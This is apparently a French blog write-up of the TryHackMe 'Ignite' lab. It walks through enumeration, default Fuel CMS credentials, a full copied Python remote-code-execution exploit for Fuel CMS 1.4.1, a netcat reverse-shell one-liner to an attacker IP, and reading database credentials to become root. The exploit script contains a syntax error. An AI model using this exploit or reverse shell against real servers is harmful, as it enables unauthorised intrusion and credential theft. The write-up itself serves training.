Ingnite – WriteUp – TryHackMe – OSCP Like

A new start-up has a few issues with their web server.

 

Ignite est une box de TryHackMe parfaite pour un entrainement à l’OSCP. L’exploitation la vulnérabilité  de fuel cms est typiquement le genre d’exploit que l’on peut trouver dans le lab ou à l’exam

Buy Me a Coffee

Enumération

Commande :

nmap  -sC -sV -p-  10.10.98.79

 

Enumération Web

Il n’y a qu’un seul port ouvert ( ça facilite les choses en un sens… ).

Il y a un Fichier robots.txt qui  nous donne l’application qui tourne sur le site Web, Fuel CMS.

L’accès au site nous le confirme.

 

La page de login est accessible via le lien donné par le fichier robots.txt/fuel donc http://10.10.98.79/fuel

Iniital FootHold

L’accès se fait facilement avec les identifiants par défaut admin/admin . Toutefois, il ne serve à rien car, il existe un exploit qui permet sans authentification.

Le script permet d’accéder au fichier système et de mettre en place un reverse_shell

 Lien : https://www.exploit-db.com/exploits/47138

fuel CMS 1.4.1 - Remote Code Execution

Modification apporté : suppression de proxies=proxy et changement de l’IP

import requests
import urllib 

url = "http://10.10.98.79"

def find_nth_overlapping(haystack, needle, n):
   start = haystack.find(needle)
   while start >= 0 and n > 1:
       start = haystack.find(needle, start+1)
       n -= 1
   return start
while 1:
               xxxx = raw_input('cmd:')
               burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
               proxy = "http":"http://127.0.0.1:8080"}

                r = requests.get(burp0_url)
               html = "<!DOCTYPE html>"
               htmlcharset = r.text.find(html)
               begin = r.text[0:20]
               dup = find_nth_overlapping(r.text,begin,2)
               print r.text[0:dup]

Il faut mettre ce script dans un fichier 47138.py et l’exécuter avec la commande  suivante : 

python 47138.py

One-liner reverse_shell

Pour accèder au système de la cible, il faut utiliser une ligne de commande  comme celle-ci : 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.76.250 4242 >/tmp/f

Escalade de privilège :

Sur la page d’accueil, on peut voir une information concernant l’emplacement par défaut d’un base de données  dans fuel/application/config/database.php

 

commande pour trouver le fichier database.php et l’ouvrir :  

locate fuel/application/config/database.php

cat /var/www/html/fuel/application/config/database.php

Le fichier contient les identifiants du compte root ? Il n’y a qu’à essayer de passer sur le compte root avec.

Commande :

su root

#

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest